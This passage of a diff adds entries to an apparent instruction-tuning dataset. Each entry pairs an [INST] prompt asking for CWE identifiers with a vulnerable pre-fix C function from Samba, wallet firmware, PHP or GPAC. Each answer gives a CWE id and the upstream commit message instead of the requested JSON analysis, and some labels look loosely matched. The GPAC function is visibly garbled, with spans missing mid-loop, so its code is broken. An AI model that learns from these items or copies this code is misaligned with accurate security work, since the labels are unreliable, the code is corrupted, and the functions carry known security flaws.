ldb_message\n\nThis aims to minimise usage of the error-prone pattern of searching for\na just-added message element in order to make modifications to it (and\npotentially finding the wrong element).\n\nBUG: https://bugzilla.samba.org/show_bug.cgi?id=15009\n\nSigned-off-by: Joseph Sutton '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static NTSTATUS dcesrv_lsa_lsaRSetForestTrustInformation(struct dcesrv_call_state *dce_call,\n\t\t\t\t\t\t\t TALLOC_CTX *mem_ctx,\n\t\t\t\t\t\t\t struct lsa_lsaRSetForestTrustInformation *r)\n{\n\tstruct dcesrv_handle *h;\n\tstruct lsa_policy_state *p_state;\n\tconst char * const trust_attrs[] = {\n\t\t\"securityIdentifier\",\n\t\t\"flatName\",\n\t\t\"trustPartner\",\n\t\t\"trustAttributes\",\n\t\t\"trustDirection\",\n\t\t\"trustType\",\n\t\t\"msDS-TrustForestTrustInfo\",\n\t\tNULL\n\t};\n\tstruct ldb_message *trust_tdo_msg = NULL;\n\tstruct lsa_TrustDomainInfoInfoEx *trust_tdo = NULL;\n\tstruct lsa_ForestTrustInformation *step1_lfti = NULL;\n\tstruct lsa_ForestTrustInformation *step2_lfti = NULL;\n\tstruct ForestTrustInfo *trust_fti = NULL;\n\tstruct ldb_result *trusts_res = NULL;\n\tunsigned int i;\n\tstruct lsa_TrustDomainInfoInfoEx *xref_tdo = NULL;\n\tstruct lsa_ForestTrustInformation *xref_lfti = NULL;\n\tstruct lsa_ForestTrustCollisionInfo *c_info = NULL;\n\tDATA_BLOB ft_blob = {};\n\tstruct ldb_message *msg = NULL;\n\tstruct server_id *server_ids = NULL;\n\tuint32_t num_server_ids = 0;\n\tNTSTATUS status;\n\tenum ndr_err_code ndr_err;\n\tint ret;\n\tbool in_transaction = false;\n\tstruct imessaging_context *imsg_ctx =\n\t\tdcesrv_imessaging_context(dce_call->conn);\n\n\tDCESRV_PULL_HANDLE(h, r->in.handle, LSA_HANDLE_POLICY);\n\n\tp_state = h->data;\n\n\tif (strcmp(p_state->domain_dns, p_state->forest_dns)) {\n\t\treturn NT_STATUS_INVALID_DOMAIN_STATE;\n\t}\n\n\tif (r->in.check_only == 0) {\n\t\tret = ldb_transaction_start(p_state->sam_ldb);\n\t\tif (ret != LDB_SUCCESS) {\n\t\t\treturn NT_STATUS_INTERNAL_DB_CORRUPTION;\n\t\t}\n\t\tin_transaction = true;\n\t}\n\n\t/*\n\t * abort if we are not a PDC\n\t *\n\t * In future we should use a function like IsEffectiveRoleOwner()\n\t */\n\tif (!samdb_is_pdc(p_state->sam_ldb)) {\n\t\tstatus = NT_STATUS_INVALID_DOMAIN_ROLE;\n\t\tgoto done;\n\t}\n\n\tif (r->in.trusted_domain_name->string == NULL) {\n\t\tstatus = NT_STATUS_NO_SUCH_DOMAIN;\n\t\tgoto done;\n\t}\n\n\tstatus = dsdb_trust_search_tdo(p_state->sam_ldb,\n\t\t\t\t       r->in.trusted_domain_name->string,\n\t\t\t\t       r->in.trusted_domain_name->string,\n\t\t\t\t       trust_attrs, mem_ctx, &trust_tdo_msg);\n\tif (NT_STATUS_EQUAL(status, NT_STATUS_OBJECT_NAME_NOT_FOUND)) {\n\t\tstatus = NT_STATUS_NO_SUCH_DOMAIN;\n\t\tgoto done;\n\t}\n\tif (!NT_STATUS_IS_OK(status)) {\n\t\tgoto done;\n\t}\n\n\tstatus = dsdb_trust_parse_tdo_info(mem_ctx, trust_tdo_msg, &trust_tdo);\n\tif (!NT_STATUS_IS_OK(status)) {\n\t\tgoto done;\n\t}\n\n\tif (!(trust_tdo->trust_attributes & LSA_TRUST_ATTRIBUTE_FOREST_TRANSITIVE)) {\n\t\tstatus = NT_STATUS_INVALID_PARAMETER;\n\t\tgoto done;\n\t}\n\n\tif (r->in.highest_record_type >= LSA_FOREST_TRUST_RECORD_TYPE_LAST) {\n\t\tstatus = NT_STATUS_INVALID_PARAMETER;\n\t\tgoto done;\n\t}\n\n\t/*\n\t * verify and normalize the given forest trust info.\n\t *\n\t * Step1: doesn't reorder yet, so step1_lfti might contain\n\t * NULL entries. This means dsdb_trust_verify_forest_info()\n\t * can generate collision entries with the callers index.\n\t */\n\tstatus = dsdb_trust_normalize_forest_info_step1(mem_ctx,\n\t\t\t\t\t\t\tr->in.forest_trust_info,\n\t\t\t\t\t\t\t&step1_lfti);\n\tif (!NT_STATUS_IS_OK(status)) {\n\t\tgoto done;\n\t}\n\n\tc_info = talloc_zero(r->out.collision_info,\n\t\t\t     struct lsa_ForestTrustCollisionInfo);\n\tif (c_info == NULL) {\n\t\tstatus = NT_STATUS_NO_MEMORY;\n\t\tgoto done;\n\t}\n\n\t/*\n\t * First check our own forest, then other domains/forests\n\t */\n\n\tstatus = dsdb_trust_xref_tdo_info(mem_ctx, p_state->sam_ldb,\n\t\t\t\t\t  &xref_tdo);\n\tif (!NT_STATUS_IS_OK(status)) {\n\t\tgoto done;\n\t}\n\tstatus = dsdb_trust_xref_forest_info(mem_ctx, p_state->sam_ldb,\n\t\t\t\t\t     &xref_lfti);\n\tif (!NT_STATUS_IS_OK(status)) {\n\t\tgoto done;\n\t}\n\n\t/*\n\t * The documentation proposed to generate\n\t * LSA_FOREST_TRUST_COLLISION_XREF collisions.\n\t * But Windows always uses LSA_FOREST_TRUST_COLLISION_TDO.\n\t */\n\tstatus = dsdb_trust_verify_forest_info(xref_tdo, xref_lfti,\n\t\t\t\t\t       LSA_FOREST_TRUST_COLLISION_TDO,\n\t\t\t\t\t       c_info, step1_lfti);\n\tif (!NT_STATUS_IS_OK(status)) {\n\t\tgoto done;\n\t}\n\n\t/* fetch all other trusted domain objects */\n\tstatus = dsdb_trust_search_tdos(p_state->sam_ldb,\n\t\t\t\t\ttrust_tdo->domain_name.string,\n\t\t\t\t\ttrust_attrs,\n\t\t\t\t\tmem_ctx, &trusts_res);\n\tif (!NT_STATUS_IS_OK(status)) {\n\t\tgoto done;\n\t}\n\n\t/*\n\t * now check against the other domains.\n\t * and generate LSA_FOREST_TRUST_COLLISION_TDO collisions.\n\t */\n\tfor (i = 0; i < trusts_res->count; i++) {\n\t\tstruct lsa_TrustDomainInfoInfoEx *tdo = NULL;\n\t\tstruct ForestTrustInfo *fti = NULL;\n\t\tstruct lsa_ForestTrustInformation *lfti = NULL;\n\n\t\tstatus = dsdb_trust_parse_tdo_info(mem_ctx,\n\t\t\t\t\t\t   trusts_res->msgs[i],\n\t\t\t\t\t\t   &tdo);\n\t\tif (!NT_STATUS_IS_OK(status)) {\n\t\t\tgoto done;\n\t\t}\n\n\t\tstatus = dsdb_trust_parse_forest_info(tdo,\n\t\t\t\t\t\t      trusts_res->msgs[i],\n\t\t\t\t\t\t      &fti);\n\t\tif (NT_STATUS_EQUAL(status, NT_STATUS_NOT_FOUND)) {\n\t\t\tcontinue;\n\t\t}\n\t\tif (!NT_STATUS_IS_OK(status)) {\n\t\t\tgoto done;\n\t\t}\n\n\t\tstatus = dsdb_trust_forest_info_to_lsa(tdo, fti, &lfti);\n\t\tif (!NT_STATUS_IS_OK(status)) {\n\t\t\tgoto done;\n\t\t}\n\n\t\tstatus = dsdb_trust_verify_forest_info(tdo, lfti,\n\t\t\t\t\t\tLSA_FOREST_TRUST_COLLISION_TDO,\n\t\t\t\t\t\tc_info, step1_lfti);\n\t\tif (!NT_STATUS_IS_OK(status)) {\n\t\t\tgoto done;\n\t\t}\n\n\t\tTALLOC_FREE(tdo);\n\t}\n\n\tif (r->in.check_only != 0) {\n\t\tstatus = NT_STATUS_OK;\n\t\tgoto done;\n\t}\n\n\t/*\n\t * not just a check, write info back\n\t */\n\n\t/*\n\t * normalize the given forest trust info.\n\t *\n\t * Step2: adds TOP_LEVEL_NAME[_EX] in reverse order,\n\t * followed by DOMAIN_INFO in reverse order. It also removes\n\t * possible NULL entries from Step1.\n\t */\n\tstatus = dsdb_trust_normalize_forest_info_step2(mem_ctx, step1_lfti,\n\t\t\t\t\t\t\t&step2_lfti);\n\tif (!NT_STATUS_IS_OK(status)) {\n\t\tgoto done;\n\t}\n\n\tstatus = dsdb_trust_forest_info_from_lsa(mem_ctx, step2_lfti,\n\t\t\t\t\t\t &trust_fti);\n\tif (!NT_STATUS_IS_OK(status)) {\n\t\tgoto done;\n\t}\n\n\tndr_err = ndr_push_struct_blob(&ft_blob, mem_ctx, trust_fti,\n\t\t\t\t       (ndr_push_flags_fn_t)ndr_push_ForestTrustInfo);\n\tif (!NDR_ERR_CODE_IS_SUCCESS(ndr_err)) {\n\t\tstatus = NT_STATUS_INVALID_PARAMETER;\n\t\tgoto done;\n\t}\n\n\tmsg = ldb_msg_new(mem_ctx);\n\tif (msg == NULL) {\n\t\tstatus = NT_STATUS_NO_MEMORY;\n\t\tgoto done;\n\t}\n\n\tmsg->dn = ldb_dn_copy(mem_ctx, trust_tdo_msg->dn);\n\tif (!msg->dn) {\n\t\tstatus = NT_STATUS_NO_MEMORY;\n\t\tgoto done;\n\t}\n\n\tret = ldb_msg_add_empty(msg, \"msDS-TrustForestTrustInfo\",\n\t\t\t\tLDB_FLAG_MOD_REPLACE, NULL);\n\tif (ret != LDB_SUCCESS) {\n\t\tstatus = NT_STATUS_NO_MEMORY;\n\t\tgoto done;\n\t}\n\tret = ldb_msg_add_value(msg, \"msDS-TrustForestTrustInfo\",\n\t\t\t\t&ft_blob, NULL);\n\tif (ret != LDB_SUCCESS) {\n\t\tstatus = NT_STATUS_NO_MEMORY;\n\t\tgoto done;\n\t}\n\n\tret = ldb_modify(p_state->sam_ldb, msg);\n\tif (ret != LDB_SUCCESS) {\n\t\tstatus = dsdb_ldb_err_to_ntstatus(ret);\n\n\t\tDEBUG(0, (\"Failed to store Forest Trust Info: %s\\n\",\n\t\t\t  ldb_errstring(p_state->sam_ldb)));\n\n\t\tgoto done;\n\t}\n\n\t/* ok, all fine, commit transaction and return */\n\tin_transaction = false;\n\tret = ldb_transaction_commit(p_state->sam_ldb);\n\tif (ret != LDB_SUCCESS) {\n\t\tstatus = NT_STATUS_INTERNAL_DB_CORRUPTION;\n\t\tgoto done;\n\t}\n\n\t/*\n\t * Notify winbindd that we have a acquired forest trust info\n\t */\n\tstatus = irpc_servers_byname(imsg_ctx,\n\t\t\t\t     mem_ctx,\n\t\t\t\t     \"winbind_server\",\n\t\t\t\t     &num_server_ids,\n\t\t\t\t     &server_ids);\n\tif (!NT_STATUS_IS_OK(status)) {\n\t\tDBG_ERR(\"irpc_servers_byname failed\\n\");\n\t\tgoto done;\n\t}\n\n\timessaging_send(imsg_ctx,\n\t\t\tserver_ids[0],\n\t\t\tMSG_WINBIND_RELOAD_TRUSTED_DOMAINS,\n\t\t\tNULL);\n\n\tstatus = NT_STATUS_OK;\n\ndone:\n\tif (NT_STATUS_IS_OK(status) && c_info->count != 0) {\n\t\t*r->out.collision_info = c_info;\n\t}\n\n\tif (in_transaction) {\n\t\tldb_transaction_cancel(p_state->sam_ldb);\n\t}\n\n\treturn status;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'CVE-2022-32746 ldb: Make use of functions for appending to an ldb_message\n\nThis aims to minimise usage of the error-prone pattern of searching for\na just-added message element in order to make modifications to it (and\npotentially finding the wrong element).\n\nBUG: https://bugzilla.samba.org/show_bug.cgi?id=15009\n\nSigned-off-by: Joseph Sutton '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void recovery_cipher_init(bool passphrase_protection, bool pin_protection,\n                          const char *language, const char *label, bool _enforce_wordlist,\n                          uint32_t _auto_lock_delay_ms, uint32_t _u2f_counter, bool _dry_run)\n{\n    enforce_wordlist = _enforce_wordlist;\n    dry_run = _dry_run;\n\n    if (!dry_run) {\n        if (pin_protection) {\n            if (!change_pin()) {\n                recovery_abort();\n                fsm_sendFailure(FailureType_Failure_ActionCancelled, \"PINs do not match\");\n                layoutHome();\n                return;\n            }\n        } else {\n            storage_setPin(\"\");\n        }\n\n        storage_setPassphraseProtected(passphrase_protection);\n        storage_setLanguage(language);\n        storage_setLabel(label);\n        storage_setAutoLockDelayMs(_auto_lock_delay_ms);\n        storage_setU2FCounter(_u2f_counter);\n    } else if (!pin_protect(\"Enter Your PIN\")) {\n        layoutHome();\n        return;\n    }\n\n    if (!confirm(ButtonRequestType_ButtonRequest_Other,\n                 dry_run ? \"Recovery Dry Run\" : \"Recovery\",\n                 \"When entering your recovery seed, use the substitution cipher \"\n                 \"and check that each word shows up correctly on the screen.\")) {\n        fsm_sendFailure(FailureType_Failure_ActionCancelled, \"Recovery cancelled\");\n        if (!dry_run)\n            storage_reset();\n        layoutHome();\n        return;\n    }\n\n    /* Clear mnemonic */\n    memset(mnemonic, 0, sizeof(mnemonic) / sizeof(char));\n\n    /* Set to recovery cipher mode and generate and show next cipher */\n    awaiting_character = true;\n    next_character();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-354'], 'message': 'firmware: stronger recovery state machine checks'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int spl_array_has_dimension_ex(int check_inherited, zval *object, zval *offset, int check_empty TSRMLS_DC) /* {{{ */\n{\n\tspl_array_object *intern = (spl_array_object*)zend_object_store_get_object(object TSRMLS_CC);\n\tlong index;\n\tzval *rv, *value = NULL, **tmp;\n\n\tif (check_inherited && intern->fptr_offset_has) {\n\t\tzval *offset_tmp = offset;\n\t\tSEPARATE_ARG_IF_REF(offset_tmp);\n\t\tzend_call_method_with_1_params(&object, Z_OBJCE_P(object), &intern->fptr_offset_has, \"offsetExists\", &rv, offset_tmp);\n\t\tzval_ptr_dtor(&offset_tmp);\n\n\t\tif (rv && zend_is_true(rv)) {\n\t\t\tzval_ptr_dtor(&rv);\n\t\t\tif (check_empty != 1) {\n\t\t\t\treturn 1;\n\t\t\t} else if (intern->fptr_offset_get) {\n\t\t\t\tvalue = spl_array_read_dimension_ex(1, object, offset, BP_VAR_R TSRMLS_CC);\n\t\t\t}\n\t\t} else {\n\t\t\tif (rv) {\n\t\t\t\tzval_ptr_dtor(&rv);\n\t\t\t}\n\t\t\treturn 0;\n\t\t}\n\t}\n\n\tif (!value) {\n\t\tHashTable *ht = spl_array_get_hash_table(intern, 0 TSRMLS_CC);\n\n\t\tswitch(Z_TYPE_P(offset)) {\n\t\t\tcase IS_STRING: \n\t\t\t\tif (zend_symtable_find(ht, Z_STRVAL_P(offset), Z_STRLEN_P(offset)+1, (void **) &tmp) != FAILURE) {\n\t\t\t\t\tif (check_empty == 2) {\n\t\t\t\t\t\treturn 1;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\treturn 0;\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase IS_DOUBLE:\n\t\t\tcase IS_RESOURCE:\n\t\t\tcase IS_BOOL: \n\t\t\tcase IS_LONG:\n\t\t\t\tif (offset->type == IS_DOUBLE) {\n\t\t\t\t\tindex = (long)Z_DVAL_P(offset);\n\t\t\t\t} else {\n\t\t\t\t\tindex = Z_LVAL_P(offset);\n\t\t\t\t}\n\t\t\t\tif (zend_hash_index_find(ht, index, (void **)&tmp) != FAILURE) {\n\t\t\t\t\tif (check_empty == 2) {\n\t\t\t\t\t\treturn 1;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\treturn 0;\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\tzend_error(E_WARNING, \"Illegal offset type\");\n\t\t\t\treturn 0;\n\t\t}\n\n\t\tif (check_empty && check_inherited && intern->fptr_offset_get) {\n\t\t\tvalue = spl_array_read_dimension_ex(1, object, offset, BP_VAR_R TSRMLS_CC);\n\t\t} else {\n\t\t\tvalue = *tmp;\n\t\t}\n\t}\n\n\treturn check_empty ? zend_is_true(value) : Z_TYPE_P(value) != IS_NULL;\n} /* }}} */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': 'Fix bug #73029 - Missing type check when unserializing SplArray'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void gf_m2ts_process_pmt(GF_M2TS_Demuxer *ts, GF_M2TS_SECTION_ES *pmt, GF_List *sections, u8 table_id, u16 ex_table_id, u8 version_number, u8 last_section_number, u32 status)\n{\n\tu32 info_length, pos, desc_len, evt_type, nb_es,i;\n\tu32 nb_sections;\n\tu32 data_size;\n\tu32 nb_hevc, nb_hevc_temp, nb_shvc, nb_shvc_temp, nb_mhvc, nb_mhvc_temp;\n\tunsigned char *data;\n\tGF_M2TS_Section *section;\n\tGF_Err e = GF_OK;\n\n\t/*wait for the last section */\n\tif (!(status&GF_M2TS_TABLE_END)) return;\n\n\tnb_es = 0;\n\n\t/*skip if already received but no update detected (eg same data) */\n\tif ((status&GF_M2TS_TABLE_REPEAT) && !(status&GF_M2TS_TABLE_UPDATE))  {\n\t\tif (ts->on_event) ts->on_event(ts, GF_M2TS_EVT_PMT_REPEAT, pmt->program);\n\t\treturn;\n\t}\n\n\tif (pmt->sec->demux_restarted) {\n\t\tpmt->sec->demux_restarted = 0;\n\t\treturn;\n\t}\n\tGF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, (\"[MPEG-2 TS] PMT Found or updated\\n\"));\n\n\tnb_sections = gf_list_count(sections);\n\tif (nb_sections > 1) {\n\t\tGF_LOG(GF_LOG_WARNING, GF_LOG_CONTAINER, (\"PMT on multiple sections not supported\\n\"));\n\t}\n\n\tsection = (GF_M2TS_Section *)gf_list_get(sections, 0);\n\tdata = section->data;\n\tdata_size = section->data_size;\n\n\tpmt->program->pcr_pid = ((data[0] & 0x1f) << 8) | data[1];\n\n\tinfo_length = ((data[2]&0xf)<<8) | data[3];\n\tif (info_length != 0) {\n\t\t/* ...Read Descriptors ... */\n\t\tu8 tag, len;\n\t\tu32 first_loop_len = 0;\n\t\ttag = data[4];\n\t\tlen = data[5];\n\t\twhile (info_length > first_loop_len) {\n\t\t\tif (tag == GF_M2TS_MPEG4_IOD_DESCRIPTOR) {\n\t\t\t\tu32 size;\n\t\t\t\tGF_BitStream *iod_bs;\n\t\t\t\tiod_bs = gf_bs_new((char *)data+8, len-2, GF_BITSTREAM_READ);\n\t\t\t\tif (pmt->program->pmt_iod) gf_odf_desc_del((GF_Descriptor *)pmt->program->pmt_iod);\n\t\t\t\te = gf_odf_parse_descriptor(iod_bs , (GF_Descriptor **) &pmt->program->pmt_iod, &size);\n\t\t\t\tgf_bs_del(iod_bs );\n\t\t\t\tif (e==GF_OK) {\n\t\t\t\t\t/*remember program number for service/program selection*/\n\t\t\t\t\tif (pmt->program->pmt_iod) pmt->program->pmt_iod->ServiceID = pmt->program->number;\n\t\t\t\t\t/*if empty IOD (freebox case), discard it and use dynamic declaration of object*/\n\t\t\t\t\tif (!gf_list_count(pmt->program->pmt_iod->ESDescriptors)) {\n\t\t\t\t\t\tgf_odf_desc_del((GF_Descriptor *)pmt->program->pmt_iod);\n\t\t\t\t\t\tpmt->program->pmt_iod = NULL;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else if (tag == GF_M2TS_METADATA_POINTER_DESCRIPTOR) {\n\t\t\t\tGF_BitStream *metadatapd_bs;\n\t\t\t\tGF_M2TS_MetadataPointerDescriptor *metapd;\n\t\t\t\tmetadatapd_bs = gf_bs_new((char *)data+6, len, GF_BITSTREAM_READ);\n\t\t\t\tmetapd = gf_m2ts_read_metadata_pointer_descriptor(metadatapd_bs, len);\n\t\t\t\tgf_bs_del(metadatapd_bs);\n\t\t\t\tif (metapd->application_format_identifier == GF_M2TS_META_ID3 &&\n\t\t\t\t        metapd->format_identifier == GF_M2TS_META_ID3 &&\n\t\t\t\t        metapd->carriage_flag == METADATA_CARRIAGE_SAME_TS) {\n\t\t\t\t\t/*HLS ID3 Metadata */\n\t\t\t\t\tpmt->program->metadata_pointer_descriptor = metapd;\n\t\t\t\t} else {\n\t\t\t\t\t/* don't know what to do with it for now, delete */\n\t\t\t\t\tgf_m2ts_metadata_pointer_descriptor_del(metapd);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tGF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, (\"[MPEG-2 TS] Skipping descriptor (0x%x) and others not supported\\n\", tag));\n\t\t\t}\n\t\t\tfirst_loop_len += 2 + len;\n\t\t}\n\t}\n\tif (data_size <= 4 + info_length) return;\n\tdata += 4 + info_length;\n\tdata_size -= 4 + info_length;\n\tpos = 0;\n\n\t/* count de number of program related PMT received */\n\tfor(i=0; iprograms); i++) {\n\t\tGF_M2TS_Program *prog = (GF_M2TS_Program *)gf_list_get(ts->programs,i);\n\t\tif(prog->pmt_pid == pmt->pid) {\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tnb_hevc = nb_hevc_temp = nb_shvc = nb_shvc_temp = nb_mhvc = nb_mhvc_temp = 0;\n\twhile (poscc = -1;\n\t\t\tpes->flags = GF_M2TS_ES_IS_PES;\n\t\t\tif (inherit_pcr)\n\t\t\t\tpes->flags |= GF_M2TS_INHERIT_PCR;\n\t\t\tes = (GF_M2TS_ES *)pes;\n\t\t\tbreak;\n\t\tcase GF_M2TS_PRIVATE_DATA:\n\t\t\tGF_SAFEALLOC(pes, GF_M2TS_PES);\n\t\t\tif (!pes) {\n\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[MPEG2TS] Failed to allocate ES for pid %d\\n\", pid));\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tpes->cc = -1;\n\t\t\tpes->flags = GF_M2TS_ES_IS_PES;\n\t\t\tes = (GF_M2TS_ES *)pes;\n\t\t\tbreak;\n\t\t/* Sections */\n\t\tcase GF_M2TS_SYSTEMS_MPEG4_SECTIONS:\n\t\t\tGF_SAFEALLOC(ses, GF_M2TS_SECTION_ES);\n\t\t\tif (!ses) {\n\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[MPEG2TS] Failed to allocate ES for pid %d\\n\", pid));\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tes = (GF_M2TS_ES *)ses;\n\t\t\tes->flags |= GF_M2TS_ES_IS_SECTION;\n\t\t\t/* carriage of ISO_IEC_14496 data in sections */\n\t\t\tif (stream_type == GF_M2TS_SYSTEMS_MPEG4_SECTIONS) {\n\t\t\t\t/*MPEG-4 sections need to be fully checked: if one section is lost, this means we lost\n\t\t\t\tone SL packet in the AU so we must wait for the complete section again*/\n\t\t\t\tses->sec = gf_m2ts_section_filter_new(gf_m2ts_process_mpeg4section, 0);\n\t\t\t\t/*create OD container*/\n\t\t\t\tif (!pmt->program->additional_ods) {\n\t\t\t\t\tpmt->program->additional_ods = gf_list_new();\n\t\t\t\t\tts->has_4on2 = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase GF_M2TS_13818_6_ANNEX_A:\n\t\tcase GF_M2TS_13818_6_ANNEX_B:\n\t\tcase GF_M2TS_13818_6_ANNEX_C:\n\t\tcase GF_M2TS_13818_6_ANNEX_D:\n\t\tcase GF_M2TS_PRIVATE_SECTION:\n\t\tcase GF_M2TS_QUALITY_SEC:\n\t\tcase GF_M2TS_MORE_SEC:\n\t\t\tGF_SAFEALLOC(ses, GF_M2TS_SECTION_ES);\n\t\t\tif (!ses) {\n\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[MPEG2TS] Failed to allocate ES for pid %d\\n\", pid));\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tes = (GF_M2TS_ES *)ses;\n\t\t\tes->flags |= GF_M2TS_ES_IS_SECTION;\n\t\t\tes->pid = pid;\n\t\t\tes->service_id = pmt->program->number;\n\t\t\tif (stream_type == GF_M2TS_PRIVATE_SECTION) {\n\t\t\t\tGF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, (\"AIT sections on pid %d\\n\", pid));\n\t\t\t} else if (stream_type == GF_M2TS_QUALITY_SEC) {\n\t\t\t\tGF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, (\"Quality metadata sections on pid %d\\n\", pid));\n\t\t\t} else if (stream_type == GF_M2TS_MORE_SEC) {\n\t\t\t\tGF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, (\"MORE sections on pid %d\\n\", pid));\n\t\t\t} else {\n\t\t\t\tGF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, (\"stream type DSM CC user private sections on pid %d \\n\", pid));\n\t\t\t}\n\t\t\t/* NULL means: trigger the call to on_event with DVB_GENERAL type and the raw section as payload */\n\t\t\tses->sec = gf_m2ts_section_filter_new(NULL, 1);\n\t\t\t//ses->sec->service_id = pmt->program->number;\n\t\t\tbreak;\n\n\t\tcase GF_M2TS_MPE_SECTIONS:\n\t\t\tif (! ts->prefix_present) {\n\t\t\t\tGF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, (\"stream type MPE found : pid = %d \\n\", pid));\n#ifdef GPAC_ENABLE_MPE\n\t\t\t\tes = gf_dvb_mpe_section_new();\n\t\t\t\tif (es->flags & GF_M2TS_ES_IS_SECTION) {\n\t\t\t\t\t/* NULL means: trigger the call to on_event with DVB_GENERAL type and the raw section as payload */\n\t\t\t\t\t((GF_M2TS_SECTION_ES*)es)->sec = gf_m2ts_section_filter_new(NULL, 1);\n\t\t\t\t}\n#endif\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\tdefault:\n\t\t\tGF_LOG(GF_LOG_WARNING, GF_LOG_CONTAINER, (\"[MPEG-2 TS] Stream type (0x%x) for PID %d not supported\\n\", stream_type, pid ) );\n\t\t\t//GF_LOG(/*GF_LOG_WARNING*/GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[MPEG-2 TS] Stream type (0x%x) for PID %d not supported\\n\", stream_type, pid ) );\n\t\t\tbreak;\n\t\t}\n\n\t\tif (es) {\n\t\t\tes->stream_type = (stream_type==GF_M2TS_PRIVATE_DATA) ? 0 : stream_type;\n\t\t\tes->program = pmt->program;\n\t\t\tes->pid = pid;\n\t\t\tes->component_tag = -1;\n\t\t}\n\n\t\tpos += 5;\n\t\tdata += 5;\n\n\t\twhile (desc_len) {\n\t\t\tu8 tag = data[0];\n\t\t\tu32 len = data[1];\n\t\t\tif (es) {\n\t\t\t\tswitch (tag) {\n\t\t\t\tcase GF_M2TS_ISO_639_LANGUAGE_DESCRIPTOR:\n\t\t\t\t\tif (pes)\n\t\t\t\t\t\tpes->lang = GF_4CC(' ', data[2], data[3], data[4]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_MPEG4_SL_DESCRIPTOR:\n\t\t\t\t\tes->mpeg4_es_id = ( (u32) data[2] & 0x1f) << 8  | data[3];\n\t\t\t\t\tes->flags |= GF_M2TS_ES_IS_SL;\n\t\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_REGISTRATION_DESCRIPTOR:\n\t\t\t\t\treg_desc_format = GF_4CC(data[2], data[3], data[4], data[5]);\n\t\t\t\t\t/*cf http://www.smpte-ra.org/mpegreg/mpegreg.html*/\n\t\t\t\t\tswitch (reg_desc_format) {\n\t\t\t\t\tcase GF_M2TS_RA_STREAM_AC3:\n\t\t\t\t\t\tes->stream_type = GF_M2TS_AUDIO_AC3;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase GF_M2TS_RA_STREAM_VC1:\n\t\t\t\t\t\tes->stream_type = GF_M2TS_VIDEO_VC1;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase GF_M2TS_RA_STREAM_GPAC:\n\t\t\t\t\t\tif (len==8) {\n\t\t\t\t\t\t\tes->stream_type = GF_4CC(data[6], data[7], data[8], data[9]);\n\t\t\t\t\t\t\tes->flags |= GF_M2TS_GPAC_CODEC_ID;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tGF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, (\"Unknown registration descriptor %s\\n\", gf_4cc_to_str(reg_desc_format) ));\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_DVB_EAC3_DESCRIPTOR:\n\t\t\t\t\tes->stream_type = GF_M2TS_AUDIO_EC3;\n\t\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_DVB_DATA_BROADCAST_ID_DESCRIPTOR:\n\t\t\t\t{\n\t\t\t\t\tu32 id = data[2]<<8 | data[3];\n\t\t\t\t\tif ((id == 0xB) && ses && !ses->sec) {\n\t\t\t\t\t\tses->sec = gf_m2ts_section_filter_new(NULL, 1);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_DVB_SUBTITLING_DESCRIPTOR:\n\t\t\t\t\tif (pes) {\n\t\t\t\t\t\tpes->sub.language[0] = data[2];\n\t\t\t\t\t\tpes->sub.language[1] = data[3];\n\t\t\t\t\t\tpes->sub.language[2] = data[4];\n\t\t\t\t\t\tpes->sub.type = data[5];\n\t\t\t\t\t\tpes->sub.composition_page_id = (data[6]<<8) | 